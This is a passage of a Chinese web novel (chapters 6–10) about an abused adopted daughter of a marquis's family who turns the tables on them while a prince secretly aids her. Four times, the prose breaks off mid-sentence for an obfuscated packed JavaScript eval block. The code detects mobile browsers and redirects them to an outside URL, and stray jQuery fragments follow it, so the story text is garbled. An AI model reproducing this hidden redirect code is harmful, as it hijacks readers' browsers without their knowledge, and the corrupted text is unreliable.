她将路上想出的借口说了出来:“星儿打小就崇拜她的父亲。她是特意搬来这里的,为的是忆苦思甜。毕竟侯爷当初打仗,住得比这还艰苦。我劝了好几回,这孩子就是不听劝,非要住在这里。”
说完她又看向了晏逐星,目光带着警告。
“星儿,你说对吧?”
紧随其后的晏明月也跟着开口:“姐姐,你不要再和娘赌气了。今日你要闹到公堂上去,我们也随了你。现在到家里了,就不要再闹了,免得耽误了大人的正经事。”
晏逐星不语,只是拢了拢身上的披风,又惊又怕地看了裴明镜一眼,随后眼眶泛红,一言不发,只是怯生生地点了点头。
温如霜快气**。
这丫头一句话不说,还不如反驳她呢。
这惺惺作态的样子,不是明摆着昭告天下,他们在欺负她么。
裴明镜看着他们母女三人对峙,慢条斯理地开口:“哦?看来是侯爷日理万机致齐家无方,这才让恶奴折辱了嫡女。本官明日自当具本上奏,请旨陛下,着定远侯闭门整饬家宅。”
听到这事要闹到皇上面前,还会害得定远侯闭门思过,温如霜和晏明月脸上血色尽褪。
裴明镜说完没给他们解释的机会,转身带着下属便要离开。
晏逐星快步追了上去,指了指身上的披风:“裴大人,披风清洗干净后,我会亲自登门拜谢,将其送还给裴二小姐。”
裴明镜顿住脚步,压低声音道:“大小姐,戏演过了,可就不好看了。
晏逐星身子一僵。
他看穿了她的苦情戏!
第6章 打了他们,可就不能打我咯(顺手的事)
就在晏逐星以为他会不搭理她的时候,他却看向了温如霜母女,扬声道:“好,我会让阿芜在国公府静候大小姐。若大小姐不来,我会让她亲自上门讨要。”
“多谢大人。”晏逐星轻轻舒了一口气,冲他行了一礼,目送他们离开。
下一次,她绝对不会再露出破绽。
裴明镜等人一走,缓过神来的温如霜走过来抬手就要扇晏逐星耳光。
但手刚伸过来,就被晏逐星接住了。
她的眼眸平静无波,说出来的话却让温如霜气得浑身发颤。
“母亲,你是想让我过两日顶着被扇肿的脸去卫国公府上做客么。恐怕,到时候裴大人会再参父亲一本。”
“你,你这个逆女!你是要毁了咱们定远侯府吗?”温如霜双腿一软,再次晕了过去。
晏明月彻底慌了神,再也不装那委屈巴巴的可怜模样,她怒喝道:“等爹爹和兄长回来,你就等着挨训吧。”
晏逐星不慌不忙地开口:“那就等着吧。说不定,到时候你还得把瑶华院还给我。”
“你休想!爹爹和大哥二哥最疼我了。”晏明月气得直跺脚。
……
暮色时分,定远侯怒气冲冲地回了侯府。
在官学就读的晏明修和晏明远也跟在了身后。
今日对薄公堂之事已经传遍了全京城,他们想不知道也难。
定远侯一回来,晏明月就迎了上去,把裴明镜今日来侯府说的话添油加醋都说了一遍,把黑锅全都甩到了晏逐星身上。
定远侯的脸变得越来越黑,找到晏逐星第一件事,就是将桌上的茶杯砸向她:“逆女,你今日为什么非要闹着去京兆府,你是想丢尽我们侯府的脸吗?”
晏逐星闪身躲开,抬头看他,一言不发,等着他继续说下去。
省得待会她一开口,他和温如霜一样被气晕过去。
那可就太耽误时间了。
趴在屋顶偷看的谢翊宁在晏逐星的抬头的那一瞬间,看清了她的脸。
他顿时身子一震。
那张脸,他见过!
虽然比梦里的稚嫩,但这位晏家大小姐,绝对是战场上救了他的那位姑娘。
踏破铁鞋无觅处,得来全不费工夫。
还去什么边关找人,要找的人就在眼前。
“停云,不必去边关找人了。”他扭头吩咐。
停云:?
王爷怎么一觉醒来之后,就奇奇怪怪的。
先是让他去军营找个女扮男装的将士,又要亲自来定远侯府听墙角。
他有些后悔,不该把晏家大小姐上公堂的事情告诉王爷的。
谢翊宁不知道他心底的想法,只是紧紧盯着晏逐星的脸,思索着她一个堂堂侯府嫡女,为何在他的梦里会出现在边关?
……
“你还敢躲?”定远侯怒气更甚。
“当初要不是我瞧着你可怜,同意你娘将你留下,你现在早就不知道被拐子卖到哪里去了。”
“这些年我供你吃供你穿,让你当侯府大小姐,你呢,非但不感恩,还闹到京兆府去,让人看侯府的笑话,我真是养了个白眼狼!”
晏逐星抬头看着目露凶光的定远侯,唇角勾起了一抹嘲讽的笑。
白眼狼么?
上辈子,因为他支援霍家军失踪,侯府上下乱成了一团。
她为了让温如霜安心,悄悄离开了京城,亲自去边关寻找定远侯。
她想着,若是能将父亲找回来,母亲和兄长或许会对她刮目相看,就会重新疼爱她了。
然而她去了边关,却进不了军营,最后是霍将军的夫人念在她一片孝心的份上将她收留。
她花了三个月时间打动霍将军教她习武,可没人看好她。
毕竟十五岁才开始习武,太晚了。
幸好她还算争气,在习武一事上颇有天分,三个月后,已经可以用**和霍将军的副将打个平手了。
她的**用得极好,霍将军夸她若是能早点学武,恐怕会成为当世用枪第一的女子。
半年后,大军进犯,她随大将军上战场杀敌。
连挑敌军十人下马,一战成名。
后来,霍将军为她请功,她成了第一个被皇上授予将军称号的女子。
“星儿,你给爹爹道个歉吧,此事是你做得不对。是你自己要搬到那个院子里去的,现在后悔了,你找爹娘说一声就是,怎么还闹到衙门去。太不懂事了。”
“虽然你不是我们的亲妹妹,但你要是能像明月一样知书达理,乖巧听话,我们也会喜欢你,把你当成亲妹妹对待。你想想都是侯府千金,为何明月受下人喜爱,而你却被大家厌恶。你真该好好反省反省,整个京城,哪家贵女像你这样愚钝粗鄙?”
晏明远和晏明修像往常一样开始给她洗脑,想让她觉得她连晏明月的脚后跟都不如。
晏逐星收回了回忆,静静听他们说这些屁话。
她很想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497750|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道,他们能不要脸到什么程度。
屋顶上的谢翊宁听着他们的话,恍然大悟。
原来她并非侯府亲生骨肉,在侯府的生活又水深火热,怪不得她会逃离京城,去边关女扮男装从军。
谢翊宁眯着眼眸打量晏家人。
他的救命恩人,可不能让别人欺负了。
他冲停云招了招手:“去,放火烧个院子。”
停云张了张嘴,欲言又止。
王爷行事真是愈发让人摸不着头脑了。
不仅悄悄咪咪摸到侯爵家中,如今还要纵火烧别人的宅邸。
“愣着干嘛,快去。”谢翊宁催促。
若是侯府起火了,定远侯肯定没空骂人了。
“是。”停云应声,轻轻一跃,点燃了侯府的一处院子。
而谢翊宁则入宫去了。
他要找母后,给他的救命恩人撑腰!
主仆二人就此离开,因而也就错过了接下来精彩的一幕。
“你们都说完了吗?”晏逐星等他们说累了,这才淡定开口。
晏明月将绢帕按在眼角,摆出惯用的弱柳扶风姿态:“姐姐,千错万错都是我的错。你有气冲我撒,打我骂我都可以,何苦闹到外头去,毁坏侯府的声誉,害得爹爹要被皇上训斥……”
话音未落,晏逐星抬手就给了她两个耳光,力道大得将她扇退后了好几步。
晏明月一脸错愕地看着她。
“你刚刚说的呀,打你骂你都可以。你不会说话不算话吧?”晏逐星笑意盈盈。
晏明月呜咽着掉眼泪,看向了两位兄长。
晏明远和晏明修心疼极了。
他们连捧在掌心都怕磕伤的亲妹妹,竟然被一个野种给打了。
晏明远当即扭头训斥晏逐星:“跪下……”
晏逐星根本不给他继续说下去的机会,抬手也给了他两耳光:“不是让我反省为什么下人欺负我不欺负晏明月吗,那你也反省反省,为什么我不打别人就打你。”
晏明远也被打懵了。
这还是那个对他言听计从,懦弱无能的妹妹吗。
晏逐星扫了一眼旁边张大嘴满脸不可思议的晏明修。
晏明修被她看得退后一步,脱口而出:“你打了明月和大哥,可就不能打我咯。”
晏逐星冷笑一声,以迅雷不及掩耳之势,冲上去啪啪也甩了他两个耳光:“顺手的事。”
晏家兄妹三人:……
晏逐星这是疯了吗?
第7章 想让人家给你当王妃?
定远侯更是被她这个举动气得老脸通红。
他猛地拍桌子,下令道:“来人,将这逆女捆了,家法伺候。”
晏明月听到这话,眼里瞬间闪过一抹幸灾乐祸。
当着那么多人的面被杖责,晏逐星算是彻底完了。
然而晏逐星脸上却不见半点慌乱。
她看向定远侯,淡定道:“父亲,裴大人还等着我去国公府做客,若我不去,他会让裴二小姐亲自来侯府探望我。你也不想再被告到皇上面前吧?”
定远侯牙齿都要咬碎了。
这个时候还真不能打伤她。
有裴明镜的奏折在前,就算他说出去是晏逐星顶撞他这个父亲,殴打兄长姊妹他才惩戒她的,皇上也不会相信。
而且裴明镜就是个疯狗,若是被他紧盯不放,之后可就麻烦了。
“退下!”定远侯将下人呵退,死死地看着晏逐星。
他换了一个缓和的语气:“星儿,父亲怎么舍得真的打你呢,只是你先前那样太过分了,我才想要吓唬吓唬你。”
“我就知道父亲对我最好了,那现在我是不是可以搬回瑶华院了?”晏逐星笑眯眯地看着他。
晏明月满脸的震惊和疑惑,不解地看着两人。
刚刚明明还剑拔**张,怎么一下就和好了?
听到晏逐星想要她的院子,她当即反对:“不行,那是我的!”
“在你回来之前,那可是我的。”晏逐星抬手,晏明月吓得捂住脸躲到了大哥身后。
晏逐星抬起的手顺势划过晏明月发顶三寸虚空,最终化作懒洋洋的伸展姿态。
她打了个哈欠,挑眉看向她:“妹妹,我不过是伸个懒腰而已,你躲什么呀?”
晏明月哪里愿意承认她是怕晏逐星又打她,咬着唇不敢回答。
定远侯压着怒气开口:“星儿,瑶华院你妹妹都住了好几年了,你现在要搬回去也不方便,不如你重新选个院子可好?你想选哪里,爹爹都依你。”
“行,那就玉澜院吧。”晏逐星说出了自己真正想要的地方。
玉澜院离角门最近。
她接下来有很多事情需要离开侯府去办,住在那里最方便。
晏明月住过的地方,真要送她,她还不稀罕呢。
定远侯见她愿意松口,点头应下了此事。
这时,下人慌慌张张地跑了进来。
“二小姐,不好啦,瑶华院起火啦!”
“什么?”晏明月大惊失色,再没空追究晏逐星想要她院子的事情,慌慌张张地往自己的院子赶去。
她有好多衣裳和首饰,可千万不能烧没了。
其余几人见她哭的厉害,也赶紧跟了上去。
晏逐星懒得去凑热闹,她叫住了冷汗淋漓的管家林平。
“林管家,你听到父亲的吩咐了吧。”
林平现在哪里还敢得罪她。
侯爷都不敢动这位大小姐,夫人也被她气晕了,家里的几个主子,全都被她给扇了一遍。
而她却没受半点惩戒全身而退。
这叫什么,这就是本事啊。
林平赔着笑脸道:“小的这就让人替大小姐整理院子,保准让您满意。”
晏逐星这才慢悠悠地去了玉澜院。
这一夜,侯府鸡飞狗跳,唯有晏逐星睡了一个好觉。
……
谢翊宁去了皇宫。
未等他拾阶而上,两柄交叉的银枪已横在面前。
“放肆!酉时三刻宫门落锁,尔等不知晓规矩么?”侍卫厉声呵斥。
谢翊宁走近,昏黄的宫灯映亮他的脸,右侧侍卫倒吸一口凉气:“永、永安王?”
满宫皆知永安王是帝后心头肉。
别的皇子及冠才敕封,眼前这位周岁就得了王爵。
只因其身在襁褓之时便身染沉疴,国师卜卦后断言其命格有缺,恐难逾弱冠之龄。
诸皇子封号皆循大虞祖制以单字为尊,独这位破了例,玉牒金册上是“永安”二字。
由此可见帝后对其疼爱之心。
因而他也获得了其他王爷皇子没有的特权。
诸王皆需持螭纹玉符经三司勘验方能入宫,唯有永安王不拘昼夜时辰,无须符节诏令,可凭天颜勘验即可长驱直入。
侍卫将寒铁枪尖仓皇收回,扯了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497751|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一把同僚,膝盖重重磕在石阶上,他赶忙道:“禁军新调来的愣头青不识贵人,求王爷恕罪。”
“无妨。本王有事要见母后。”谢翊宁拢了拢狐皮大氅。
侍卫赶忙替他开宫门。
谢翊宁快步踏进了宫里,直奔未央宫。
“石头怎么来了?”皇后崔凝华看到小儿子,眸中泛起温柔的笑意。
听到这个称呼,谢翊宁鼻腔蓦然一酸。
他自小体弱,被国师断定活不过二十岁,母后为了他长寿平安,什么法子都愿意试一试。
这不,听闻民间百姓会给孩子取一个“贱名”,好养活。
于是给他取了小名叫“石头”。
希望他能如顽石一般坚韧,长命百岁,千年不朽。
他从前觉得这个名字上不得台面,兄长们都各有好听的字,只有他叫石头。
而今梦醒了,重活一遭,他才意识到这是母后对他最好的祝愿与期盼。
“母后,我有件事想求您帮帮忙。”谢翊宁坐到了她身边。
“哦?什么事,很难办吗?”崔皇后有些惊讶。
这孩子打小就被她和皇帝宠着长大,要风得风,要雨得雨,想要什么都是直接开口,还是头一回听到他用上了“求”这个字。
崔皇后心里泛起了嘀咕。
不会是什么违背祖宗的决定吧?
“今日有一事已经在京城传开了……”谢翊宁将晏逐星的事情说了出来。
崔皇后听着,忍不住皱起了眉头。
“没看出来呀,这定远侯夫人竟然是这样的人。还有那定远侯,也太不是个东西了。你既然收养了人家,为何还要**人家?即便不是亲生的,养了十几年,就算是条狗,也该养出感情了,怎么能这般薄情寡义。”
“就是。所以呀,母后,您要好好赏赐一下晏大小姐,她太可怜了。”谢翊宁附和地点了点头。
崔皇后瞥了他一眼:“不对呀,你怎么这么关心晏家那位大小姐?”
她目光灼灼地看着儿子,眼里跳跃着兴奋的意味:“难不成,你看上人家了?想让人家给你当王妃?”
第8章 这丫头,怎么那么命好!
谢翊宁脱口而出:“您想多了。”
他回忆了一下晏逐星的容貌,摇了摇头。
竹片似的身材,瘦瘦小小的,看起来像棵豆芽菜,仿佛风一吹就会被折断。
因为自己活不久,所以他也不喜欢这种看起来随时会没命的人。
但一想到晏逐星的脆弱,全是定远侯府的人造成的,他就一肚子的火气。
他决定在自己的报恩计划上加上一条——
让晏逐星吃好喝好,把她养得珠圆玉润,再给她找个好人家嫁了!
让她一辈子衣食无忧,长命百岁,也对得起她那万箭穿心的救命之恩了。
否认完,又怕母后乱点鸳鸯谱,他加重语气强调:“母后,您只要送点赏赐给她,让她过得真的像个侯府大小姐就好。我不打算娶妻生子,您莫要胡来。”
崔皇后听到他不娶亲,伸手戳了戳他的脑门:“你这孩子,说的什么话。哪有人不娶妻生子的,母后还等着抱孙子呢。”
“好吧好吧,我若能活过二十岁,就听您的娶个王妃,再给您生个大胖孙子。”谢翊宁无所谓地摊了摊手。
听到他这话,崔皇后眼眶瞬间就红了。
“我和你父皇做了那么多,一定能让你活下去的,你不许说这些丧气的话。”
“好,我不说了。”谢翊宁急忙转移话题。
待到哄得皇后笑逐颜开,方才离开宫中,回自己的王府。
……
定远侯府昨夜失火,定远侯正好趁势称病告假,未赴早朝,以此避开皇上的责难。
他看着枕边的夫人,沉声道:“今日你就命人给那丫头多裁些衣裳,吃食上也莫要怠慢了她,省得过两日裴明镜又找上门来。”
温如霜不忿地开口:“说到底,这只是家务事,裴明镜他管得着么。”
“没闹到京兆府之前是家务事,闹过去,那他插手就名正言顺了。”定远侯说起这事就一肚子的火气。
“你平日里怎么打理后宅的,竟然让人将事闹到官府上去,真是丢尽了侯府的脸面。”
温如霜委屈极了。
“我那会晕过去了,要是我醒着,怎么可能让那个贱丫头走出侯府半步。”
“一点小事就晕过去,你这个侯府夫人可还有半点主母威仪?”定远侯现在对晏逐星是打不得骂不得,只能把火全都撒在旁人头上。
“若是真这般身体柔弱,那不如将管家之权交给柳姨娘和林姨娘打理,免得累坏了身子。”
他冷哼一声起身,将温如霜撇在了原地。
温如霜被气得满脸通红。
她持家多年,就出了这么一回岔子,侯爷竟然就想要罢免她的管家权,简直是欺人太甚!
“混账。”温如霜气得将枕头砸到了地上。
一旁的丫鬟们大气都不敢喘。
好半晌后,晏明月来了。
她委屈巴巴道:“娘亲,昨夜失火,我好多衣裳都被烧坏了。”
“坏了就坏了,娘这就让人给你做新的。”温如霜看到女儿,脸色缓和了几分。
女儿丢失又找回来,吃了那么多苦,她总觉得亏欠她良多。
“多谢娘亲!”晏明月这才露出了几分笑意。
“那姐姐那边呢?是不是也要让人去给她裁衣裳?”
“裁什么裁,让她等着。我就不信,那裴明镜今日就会来。”温如霜听到晏逐星就脸色发青。
晏明月听到这话,暗自窃喜。
她火上浇油道:“姐姐也真是的,您这个母亲都气晕了,竟然也不来瞧瞧。她光顾着跟裴大人告状,说咱们待她不好,她也不想想,她这般不孝,您要怎么心疼她呀。”
温如霜心里的火气又被她的话给勾起来了。
“没错。她不孝,我为何要疼爱她。她若不来找我认错,那衣裳就过两日再做。我要让她知道,这侯府后宅还是我当家做主。裴明镜能照看她一时,难不成还能照看她一世不成。”
两人慢悠悠地梳妆打扮,在屋子里喝茶,等着九章堂的绣娘上门量体裁衣。
不曾想,绣娘未至,宫里的旨意便到了。
“什么,皇后娘娘有旨?”温如霜和晏明月都吓了一跳,匆忙整理衣裳,急匆匆去接旨。
不曾想,那个嬷嬷瞧见他们,却没有马上颁布懿旨,而是东张西望,随后皱眉询问:“不知道侯府大小姐可在,皇后娘娘命老奴给姑娘送些小玩意。”
两人脸色顿时变了。
什么,皇后竟然是冲着晏逐星来的?
温如霜急忙命心腹嬷嬷李氏去将晏逐星请来,压低声音嘱咐:“将我房里那件织金云雁衔梅斗篷给她披上再来。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497752|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晏逐星得知皇后命人给她送东西,有些茫然。
上辈子,可没有这样的好事。
李氏将斗篷取来替她披上,晏逐星瞧着面前的几位健硕仆妇,没有反抗,乖顺地披上了斗篷去见那位宫中来的吴嬷嬷。
“见过嬷嬷。”晏逐星行了一礼。
躬身行礼时,她略微动了手脚,斗篷掉落在地,旋即露出了破旧不合身的衣裳。
温如霜牙齿都要咬碎了。
她赶忙弯腰捡起斗篷给晏逐星穿上,挤出笑脸强行解释:“你这丫头,想让娘亲给你做新衣裳,也不用穿成这样啊。娘早就请九章堂的绣娘来了,待会就到,保证给你做全京城最时兴的衣裳。”
晏逐星没有反驳,只是怯生生地应了一句:“多谢母亲。”
吴嬷嬷将两人的举动看在眼里,没说什么,只是冲晏逐星垂手行了个礼,笑着开口。
“大小姐,老奴今日来,是奉了皇后娘娘的旨意,邀您参加半个月后的冰嬉宴。”
吴嬷嬷取出一张洒金的请柬,双手捧着递上前:“昨日偶闻姑娘的名讳,娘娘便想起姑娘九岁那年在冰嬉宴上献上的破阵舞。您踏着冰刀旋身抛扇的模样,这都过去好几年了,娘娘还常念叨说满京城再寻不出第二人。”
她的话勾起了晏逐星远久的记忆。
九岁那年的冰嬉宴,是她记忆里最后一抹快乐的时光了。
后来,晏明月被找回家,她便再也没有出现在任何宴会上了。
“今年冰嬉宴十公主也想跳破阵舞,娘娘想着若姑娘得空,不妨去宫中给公主指点一二。”
听到吴嬷嬷这话,温如霜和晏明月的表情变得十分难看,她们死死地盯着晏逐星,眼里全是妒忌和不满。
这丫头,怎么那么命好!!!
竟然得了皇后娘娘的青睐。
晏逐星不疾不徐地回应道:“不过雕虫小技罢了,指点谈不上,承蒙娘娘厚爱,臣女定然尽力而为。”
吴嬷嬷满意地点点头,继续道:“自然,娘娘不会白让姑娘跑一趟,特赐了一件雪貂裘、一对暖手炉,两支野山参、十筐银丝炭,还有江南织造局送来二十匹云锦……”
吴嬷嬷介绍着忽然表情一变。
娘娘不是就赏赐了这几样东西么,后边多出来的那些是怎么一回事?
第9章 王爷呀,你这一回看走眼啦!
“咳咳。”
后边一个小厮弄出咳嗽声,吸引了吴嬷嬷的注意。
她定睛一看,那是永安王府的人。
她嘴角抽了抽,心下顿时了然,后边那几个大箱子全永安王自己贴补的。
不知道里边有什么,吴嬷嬷便一句话带过了:“剩下的东西呀,姑娘您就自己看吧。总之都是娘娘精心准备的。”
“臣女叩谢皇后娘娘恩典。”晏逐星规规矩矩行了一礼。
“既是如此,姑娘好生歇息,过几日皇后娘娘会派人来接姑娘入宫,去见十公主。”吴嬷嬷说完正要走,就看到季太医也来了。
季太医抢在她前边开了口。
“皇后娘娘想着晏大小姐身子柔弱,特意让老臣前来问诊。待到身子骨好了,再让她入宫指点十公主。”
吴嬷嬷:……
来之前皇后娘娘没告诉她还派了太医啊。
但转念一想,季太医是永安王的御用太医,他多半也是永安王寻来的。
她忍不住多看了晏逐星几眼。
这眉眼生得倒是动人,只是这瘦瘦小小的,看不出来比京中其他贵女好看在哪呀,怎么就得了永安王另眼相待。
晏逐星也稀里糊涂的,皇后娘娘对她是不是好得也太过分了点?
她那年跳的破阵舞,有那么好吗。
疑惑归疑惑,但她没忘了及时表忠心谢恩:“多谢皇后娘娘厚爱,臣女铭感五内。”
而温如霜和晏明月已经震惊到麻木了。
晏逐星到底做了什么,让皇后娘娘这么赏识。
先是让心腹嬷嬷送了那么多赏赐来,又请了太医院的季太医来给她看病。
晏逐星没有给他们眼神,任凭他们脑补。
她坐在椅子上,乖乖伸手让季太医替她把脉。
她这几年吃不饱穿不暖,身子定然有所亏损。
她原打算从定远侯那边拿到钱,自己去找个大夫好好瞧瞧,没想到皇后娘娘竟然给她请了太医。
太医可比街上的大夫强多了。
想要报仇,就得先养好身体。
免得仇人前脚**,自己后脚就死,那报仇有什么意义。
季太医替她把完脉,将脉枕收回药箱,面露不悦地看了一旁的温如霜一眼。
“姑娘这脉象沉细如丝,气血两虚。脾脉濡弱,胃气衰败,分明是经年累月饥饱失序所致。”
温如霜听得脸一阵白一阵红。
她赶忙找补:“你这孩子,都说了不许挑食,你瞧瞧,这也不吃那也不吃,如今倒好,身子竟然受损至此。你是要剜为娘的心肝不成?”
她将锦帕按在眼下,流下两滴泪,看向季太医:“季大人,该如何给我儿调养?您只管开药方,只要能让星儿好起来,不管花多少银子都愿意。”
季太医淡淡道:“令嫒这毛病需用参苓白术散徐徐温补,佐以八珍汤固本培元,而后每日燕窝一盏以润肺经。好好养个一年半载,就会康复如初了。”
温如霜脸色僵住了。
当初她怀着长子,也只是到了快生的时候,婆母才让她隔日喝一盏燕窝。
如今这死丫头竟然每日都要服用一盏。
她也配?
“母亲,大厨房每日要给我做药膳太麻烦了,横竖只需两个灶眼,不如在我院子里另起一个小膳房,也省得给我熬药,耽误了你们用膳。”晏逐星恰到时机地开口。
温如霜被架在火上烤,看着季太医和吴嬷嬷的表情,她只能勉强点头挤出笑容:“行,都依你。只要你肯好好吃饭就好。”
这时,九章堂的绣娘苏娘子终于来了。
温如霜舒了一口气,当着季太医和吴嬷嬷的面,让她先给晏逐星做衣裳。
晏逐星拒绝了:“母亲,不如先让苏娘子为妹妹裁衣。皇后娘娘赏赐之物还未清点造册,劳烦母亲命人将此物送去我的院子。”
“好,都听你的。”温如霜憋屈不已,但又无可奈何。
季太医和吴嬷嬷离开后,大气都不敢喘的晏明月跺了跺脚,扯着温如霜的手撒娇。
“娘亲,皇后娘娘赏赐的东西这般贵重,姐姐的玉澜院人手不够,放着不安全吧。不如放到您的库房去?”
她的算盘打得极好。
东西入了娘亲的库房,日后她也能分一杯羹。
温如霜觉得这个主意不错。
她不想让那死丫头手里拿着那么多好东西。
然而,不等她开口,晏逐星就冷笑一声:“妹妹,过几日皇后娘娘还要接我入宫,你也不想我在她面前哭诉东西被抢走吧。”
晏明月脸瞬间涨得通红:“什么抢走,姐姐说话太难听了,我只是怕东西弄丢了。”
“东西丢了,那就说明侯府的护卫都是废物,换一批吧。对了,你把之前伺候我的双鲤找回来吧。我还是喜欢她伺候我。”晏逐星继续提要求
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497753|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
反正她现在可以扯着皇后娘娘的虎皮替自己撑腰,现在不要好处,之后可就不好要了。
“行。”温如霜的声音几乎是从牙缝里透出来的。
看不惯晏逐星,还不能惩戒她。
她执掌侯府多年,还是头一回这么憋屈。
晏逐星心满意足地盯着下人把皇后娘娘赏赐的东西抬回自己的院子,一个箱子都没落下。
晏明月快气哭了。
“娘亲,姐姐怎么这样啊……”
温如霜咬牙切齿道:“且让她嚣张一时,等到冰嬉宴后皇后娘娘将她忘了,我就好好整治她。我要让她知道,要留在侯府就必须听我这个主母的。”
……
没过多久。
双鲤就被送到了玉澜院。
她看到晏逐星,一瞬间就红了眼眶。
“大小姐,您受苦了。”
晏逐星看着面前的心腹丫鬟,坚硬如铁的心也变得有一瞬间柔软。
当初她犯傻,搬去破院子后,被晏明月三言两语挑拨得自小伺候自己的丫鬟也不要了。
因而双鲤就被遣散到后院干些粗活去了。
后来她挨饿受冻,都是双鲤私底下悄悄给她送馒头和旧衣裳,她才能坚持到现在。
不然她早就**。
上一世,她要离开京城去边关寻找定远侯,也是双鲤给她行了方便,悄悄放她离开,不然她连侯府大门都出不去。
如今她有了自己的院子,重新夺回大小姐的位置,自然要把她找回来。
“别哭了。眼泪是最没用的东西。”晏逐星伸手替她擦去眼泪。
“我将玉澜院交给你打理,你可愿意?”
“奴婢愿意。”双鲤忙不迭答应,而后眼里又流露出一丝迟疑和不自信。
“只是,奴婢怕做不好。”
“没关系,有我替你撑腰,谁若不服,我会将她打服。你只要把东西都看好,不要让人偷了骗了就好。”晏逐星掂了掂手里的木棍。
她打算从今日起,就把上辈子霍将军教她的那些招式,再练习一遍。
她绝不做待宰的羔羊。
乔装混进侯府偷听的停云听到这话差点一个踉跄栽倒。
王爷还说晏家大小姐可怜,让他来看她有没有受欺负。
晏大小姐这般凶悍,哪里像是会被欺负的样子。
她不欺负别人就不错了。
王爷呀,你这一回看走眼啦!
第10章 王爷的关注点,好生奇特
双鲤听到晏逐星的话,激动地拍胸脯发誓:“奴婢一定替小姐看好这些东西,谁若想拿走,就从我的尸体上踏过去!”
“倒也不必拿命去拼,关键时刻,先保护好自己。”晏逐星摸了摸她的脑袋。
“谁若敢抢我的东西,我自会让她付出代价。”
“嗯!”双鲤重重点头,看着晏逐星的眼睛里满是欣喜。
她五岁那年**葬父,大小姐替她安葬了父亲,将她带回府中。
她就发过誓,她的命都是大小姐的。
两人一块清点起皇后娘娘送来的东西。
除了吴嬷嬷先前说的那些东西,晏逐星发现皇后娘娘竟然贴心地连被子也准备了。
这得对她的境况了解得有多清楚啊。
晏逐星摸了摸松软的棉花被子,吸了吸鼻子。
真好,以后不会再受冻了。
除此之外,还有各种补身体的好东西,甚至还有一箱子的银票和一匣子铜钱。
略略数了一数,银票加起来一共有一万两。
晏逐星倒吸了一口凉气。
这哪里是赏赐,分明是生生往她怀里砸了座泼天富贵。
晏逐星将这些东西一一记了下来,随后就让来给她量体裁衣的苏娘子把御赐的布料都拿来做新衣裳。
“全,全做了?”苏娘子有些惊讶。
“嗯,先做一件合身的冬装,剩下的稍微放量做宽大些。把来年春夏的衣裳也一块做了。”晏逐星不打算便宜了侯府的人。
她绝不亏待自己。
做大点,来年养好身子长高长肉了,还能继续穿。
“是。”苏娘子将她的要求一一记下。
“我母亲不是让我挑料子么,哪个贵你就帮我做哪个,颜色不拘,如今京中贵女们常穿的色就好,你看着做个三十套吧。”晏逐星继续报要求。
她没放过让温如霜大出血的机会。
温如霜要装慈母,那就让她装个够。
苏娘子喜上眉梢。
这可真是个大生意呀。
“好,都听您的。”她笑呵呵地应下。
她是看出来了,这位侯府大小姐正和侯府夫人别苗头呢。而侯府夫人为了面子,是一定会答应的。
管家拿着订单告知温如霜此事,她气得几乎要吐血。
她一个季度最多也就做二十套衣裳,晏逐星一开口就三十套。
再加上皇后给的布料,她这下加起来至少做了四十套衣裳。
她穿得过来么!
“小人得志!”她狠狠地啐了一口,恨不得去撕了晏逐星。
偏偏这时定远侯还接到了宫里传来的训诫,皇上说他治家无方,勒令他闭门思过整肃门庭。
他把一切都怪到了温如霜母女身上。
“蠢货,成事不足败事有余,带累得本侯也被皇上训斥。”
原本还想跟爹爹撒娇,让他给自己多做几套裙子的晏明月瞬间闭上了嘴。
定远侯发泄完怒气转身就走,温如霜被骂得直掉眼泪,也没空去安慰女儿。
晏明月将指甲掐进掌心才堪堪压住翻涌的恨意。
她失魂落魄地回了自己的院子。
院子昨夜才失了火,被烧了一间屋子,今日还在修整。
看着毁坏的屋子,她心底的悔意和怨气翻滚得更厉害了。
她回侯府之后一直顺风顺水,怎么昨日就栽在晏逐星身上了呢。
